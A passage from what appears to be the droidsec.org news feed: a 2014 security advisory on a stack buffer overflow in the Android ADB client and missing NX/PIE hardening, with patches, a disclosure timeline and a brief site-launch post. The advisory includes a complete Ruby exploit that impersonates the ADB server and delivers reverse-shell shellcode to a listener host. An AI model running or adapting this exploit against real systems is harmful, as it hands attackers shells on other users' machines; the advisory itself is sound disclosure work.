&lt;span class=&quot;mi&quot;&gt;254&lt;/span&gt;             &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;/p&gt;

&lt;p&gt;On line 222, the ADB Client connects to the ADB Server. If it fails to connect, it will automatically launch a fresh ADB Server. When the connection succeeds, execution resumes on line 243.&lt;/p&gt;

&lt;p&gt;The developer declares a stack buffer “buf” one hundred bytes in size on line 243 and the signed integer “n” on line 244. These two variables are the most important involved in this issue. On line 249, four bytes are read into the buffer. The ADB protocol specifies that these four bytes represent a 4-character long hex-ASCII number. Thus, the ADB Client extracts the value in hexadecimal on line 252.&lt;/p&gt;

&lt;p&gt;The issue is twofold. First, the integer “n” is signed. Second, the “strtoul” function allows specifying whether or not the number is negative, despite the “ul” (meaning unsigned long) in its name. If an attacker runs a malicious server that replies with a length like “-b0f”, the resulting value of “n” will be -2831. Since “n” is signed, and the developer casted the “sizeof” operator to a signed integer on line 253, the comparison there succeeds and execution proceeds to line 254. There, the “read” system call is called with the “buf” as the destination and -2831 as the number of bytes to read. This operation results in a vanilla stack buffer overflow. A tested patch for this issue is included.&lt;/p&gt;

&lt;p&gt;Interestingly, other places in the code that use this construct properly use an “unsigned” type and do not cast the “sizeof” operator. For example, see the “adb_query” and “adb_status” functions.&lt;/p&gt;

&lt;h3 id=&quot;issue-2---lack-of-hardening-when-compiling-for-a-host&quot;&gt;Issue #2 - Lack of hardening when compiling for a host&lt;/h3&gt;

&lt;p&gt;When investigating whether or not this particular issue was exploitable, it was determined that the “adb” binary supplied by Google does not contain two crucial modern protection mechanisms. Those are: non-executable stack protection and binary base randomization (PIE). Since these two protections are absent, exploiting this issue is trivial. A patch that adds these protections when compiling host binaries is included, though its is not well tested.&lt;/p&gt;

&lt;p&gt;It should also be noted that host compilation also seems to intentionally opt out of the FORTIFY_SOURCE protections. It’s not clear why this is the case since the comment near this line of code references an internal only bug number.&lt;/p&gt;

&lt;h2 id=&quot;affected-versions&quot;&gt;Affected Versions&lt;/h2&gt;
&lt;p&gt;The discovery was made while reviewing ADB from the android-4.4_r1.1 AOSP tag.
Exploitation was confirmed possible using version 18.0.1 of the SDK platform-tools on x86_64 Ubuntu Linux 12.04.
Issues #1 and #2 are believed to be present in all current and previous versions.&lt;/p&gt;

&lt;h2 id=&quot;exploit-scenario&quot;&gt;Exploit Scenario&lt;/h2&gt;
&lt;p&gt;On a multi-user system, an attacker can start a malicious ADB Server and wait for other users to run the “adb” command. If an existing ADB Server is listening, an attacker will not be able to carry out this attack. Issue #1 happens very early during protocol negotiations so just about any command that communicates with the ADB Server will lead to successful exploitation.&lt;/p&gt;

&lt;h2 id=&quot;exploitability&quot;&gt;Exploitability&lt;/h2&gt;
&lt;p&gt;Issue #1 does not appear to be exploitable on platforms other than Linux x86_64. On this platform, passing a large length argument to the “read” function succeeds. On others, including Linux x86, it leads to an error and no data is read into the specified buffer. It should be noted that Windows was not tested. The “adb” binary present on a Nexus 4 was tested and found not to be exploitable.&lt;/p&gt;

&lt;p&gt;The following exploit leverages both issues:&lt;/p&gt;

&lt;p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env ruby&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# -*- coding: binary -*-&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;socket&apos;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;uri&apos;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] Exploit for ADB client stack buffer overflow -jduck&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# linux/x86/shell_reverse_tcp - 90 bytes&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# http://www.metasploit.com&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# VERBOSE=false, LHOST=192.168.0.2, LPORT=2121,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ReverseConnectRetries=5, ReverseAllowProxy=false,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# PrependFork=true, PrependSetresuid=false,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# PrependSetreuid=false, PrependSetuid=false,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# PrependSetresgid=false, PrependSetregid=false,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# PrependSetgid=false, PrependChrootBreak=false,&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# AppendExit=true, InitialAutoRunScript=, AutoRunScript=&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x80\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x02\x68\x02\x00\x08\x49\x89\xe1\xb0\x66\x50\x51\x53&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xdb\x6a\x01\x58\xcd\x80&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;read_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] request length: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] request: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;inspect&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;srv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;TCPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5037&lt;/span&gt;
&lt;span class=&quot;kp&quot;&gt;loop&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] Waiting for client...&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;srv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;accept&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] Accepted client&quot;&lt;/span&gt;
	
  &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;read_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;host:version&quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[-] incorrect request!&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;next&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;OKAY&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-fff&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# padding&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# popped registers&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xc0c00004&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xc0c00008&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# esi&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xc0c0000c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# edi&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xc0c00010&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebp&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#0x0810efd3, # eip - int 3 / ret&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x812a14b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# eip - jmp esp&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;V*&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;

  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] Sending response (0x%x bytes)&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;length&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cli&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;srv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;/p&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Upon discovery, patches for both issues were developed and submitted to the Android Security Team. Although Google has not released a new version of the Android SDK Platform Tools as of the time of this publication, they have accepted and applied both patches. The next SDK release will most likely include these fixes. In the meantime, apply the following patches and rebuild your ADB client binary.&lt;/p&gt;

&lt;p&gt;The patch for issue #1 was committed to Google’s internal Android tree as part of an embargo scheduled for Februrary 1st, 2014. That date has since elapsed and Google has made no effort to coordinate by acknowledging our proposed date or proposing a different date. The patch for issue #1 is as follows:&lt;/p&gt;

&lt;p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/adb/adb_client.c b/adb/adb_client.c
index 8340738..ef0077b 100644
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;--- a/adb/adb_client.c
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ b/adb/adb_client.c
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -241,7 +241,7 @@&lt;/span&gt; int adb_connect(const char *service)
     } else {
         // if server was running, check its version to make sure it is not out of date
         char buf[100];
&lt;span class=&quot;gd&quot;&gt;-        int n;
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+        unsigned n;
&lt;/span&gt;         int version = ADB_SERVER_VERSION - 1;
 
         // if we have a file descriptor, then parse version result
&lt;span class=&quot;p&quot;&gt;@@ -250,7 +250,7 @@&lt;/span&gt; int adb_connect(const char *service)
 
             buf[4] = 0;
             n = strtoul(buf, 0, 16);
&lt;span class=&quot;gd&quot;&gt;-            if(n &amp;gt; (int)sizeof(buf)) goto error;
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+            if(n &amp;gt; sizeof(buf)) goto error;
&lt;/span&gt;             if(readx(fd, buf, n)) goto error;
             adb_close(fd);&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;/p&gt;

&lt;p&gt;The patch submitted for issue #2 required being split in two and underwent several revisions before being accepted. One patch enables non-executable stack. The other enables position independent execution (PIE) for binary base randomization. Once accepted, the patches were merged into the aosp/master branch of the Android Open Source Project repository. More information, including links to Google’s Gerrit code review system and the commits/patches themselves, follow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://android-review.googlesource.com/#/c/72228/&quot;&gt;Enable NX protections&lt;/a&gt; (&lt;a href=&quot;https://android.googlesource.com/platform/build/+/afb45637b2581be3501e520477b6b264fb2fed9e&quot;&gt;afb4563&lt;/a&gt;)
&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://android-review.googlesource.com/#/c/72229/&quot;&gt;Enable PIE for dynamically linked Linux host executables&lt;/a&gt; (&lt;a href=&quot;https://android.googlesource.com/platform/build/+/b0eafa21b9ac578e279198b8650fafbee6b83dc3&quot;&gt;b0eafa2&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;

&lt;h2 id=&quot;credits&quot;&gt;Credits&lt;/h2&gt;
&lt;p&gt;Joshua J. Drake of &lt;a href=&quot;http://www.droidsec.org/&quot;&gt;droidsec.org&lt;/a&gt; discovered and provided patches for these issues.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;
&lt;p&gt;
&lt;ul&gt;
&lt;li&gt;2013-12-02 - Issue #1 discovered
&lt;li&gt;2013-12-05 - Issue #2 discovered
&lt;li&gt;2013-12-08 - Patches and advisory created and submitted to the Android Security Team
&lt;li&gt;2014-01-24 - Tweet announcing upcoming disclosure
&lt;li&gt;2014-01-24 - Follow up sent, no human response
&lt;li&gt;2014-02-04 - Public disclosure
&amp;lt;/ul&amp;gt;
&amp;lt;/p&amp;gt;

&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Launching the Web Site</title>
   <link href="http://www.droidsec.org/news/2014/02/03/launching-the-web-site.html"/>
   <updated>2014-02-03T13:00:00+00:00</updated>
   <id>http://www.droidsec.org/news/2014/02/03/launching-the-web-site</id>
   <content type="html">&lt;p&gt;In May 2012, after engaging in a long-term consulting project regarding Android, I realized a need to build a community in order to advance the security of the Android mobile platform. To begin the process, I joined an IRC channel and invited likeminded people to join. Today, over sixty people participate in the channel.&lt;/p&gt;

&lt;p&gt;Launching this web site, and the accompanying Wiki, signifies the next step in the evolution of the group. We hope that by organizing ourselves and making regular contributions we can make the Android platform more secure while still remaining open. We have several projects in the works and we hope to showcase them here when the time is right. Stay tuned!&lt;/p&gt;

</content>
 </entry>
 
 
</feed>
